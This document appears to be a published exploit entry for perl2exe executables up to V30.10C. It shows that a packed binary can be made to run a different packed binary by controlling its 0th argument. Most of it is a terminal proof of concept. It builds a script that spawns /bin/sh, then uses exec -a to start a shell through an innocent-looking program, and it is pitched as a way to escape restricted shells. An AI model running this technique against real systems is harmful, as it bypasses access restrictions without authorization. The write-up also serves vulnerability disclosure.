perl2exe 30.10C Arbitrary Code Execution

# Exploit Title: Executables Created with perl2exe <= V30.10C - Arbitrary Code Execution# Date: 10/17/2023# Exploit Author: decrazyo# Vendor Homepage: https://www.indigostar.com/# Software Link: https://www.indigostar.com/download/p2x-30.10-Linux-x64-5.30.1.tar.gz# Version: <= V30.10C# Tested on: Ubuntu 22.04# Description:perl2exe packs perl scripts into native executables.Those executables use their 0th argument to locate a file to unpack and execute.Because of that, such executables can be made to execute another executable that has been compiled with perl2exe by controlling the 0th argument.That can be useful for breaking out of restricted shell environments.# Proof and Concept:user@testing:~/example$ lsp2x-30.10-Linux-x64-5.30.1.tar.gz  perl2exe-Linux-x64-5.30.1user@testing:~/example$ user@testing:~/example$ # Create and pack a "safe" perl script to target with the attack.user@testing:~/example$ echo 'print("I am completely safe\n");' > safe.pluser@testing:~/example$ ./perl2exe-Linux-x64-5.30.1/perl2exe safe.plPerl2Exe V30.10C 2020-12-11 Copyright (c) 1997-2020 IndigoSTAR Software...Generating safeuser@testing:~/example$ user@testing:~/example$ # Check that the program executes as expected.user@testing:~/example$ ./safeI am completely safeuser@testing:~/example$ user@testing:~/example$ # Create and pack a "malicious" script that we want to execute.user@testing:~/example$ echo 'print("j/k I am malicious AF\n");system("/bin/sh");' > malicious.pluser@testing:~/example$ ./perl2exe-Linux-x64-5.30.1/perl2exe malicious.plPerl2Exe V30.10C 2020-12-11 Copyright (c) 1997-2020 IndigoSTAR Software...Generating malicioususer@testing:~/example$ user@testing:~/example$ # Our "malicious" file doesn't need to have execution permissions.user@testing:~/example$ chmod -x malicioususer@testing:~/example$ ./malicious-bash: ./malicious: Permission denieduser@testing:~/example$ user@testing:~/example$ # Execute the "safe" program with the name of the "malicious" program as the 0th argument.user@testing:~/example$ # The "safe" program will unpack and execute the "malicious" program instead of itself.user@testing:~/example$ bash -c 'exec -a malicious ./safe'j/k I am malicious AF$ pstree -s $$systemd───sshd───sshd───sshd───bash───safe───sh───pstree$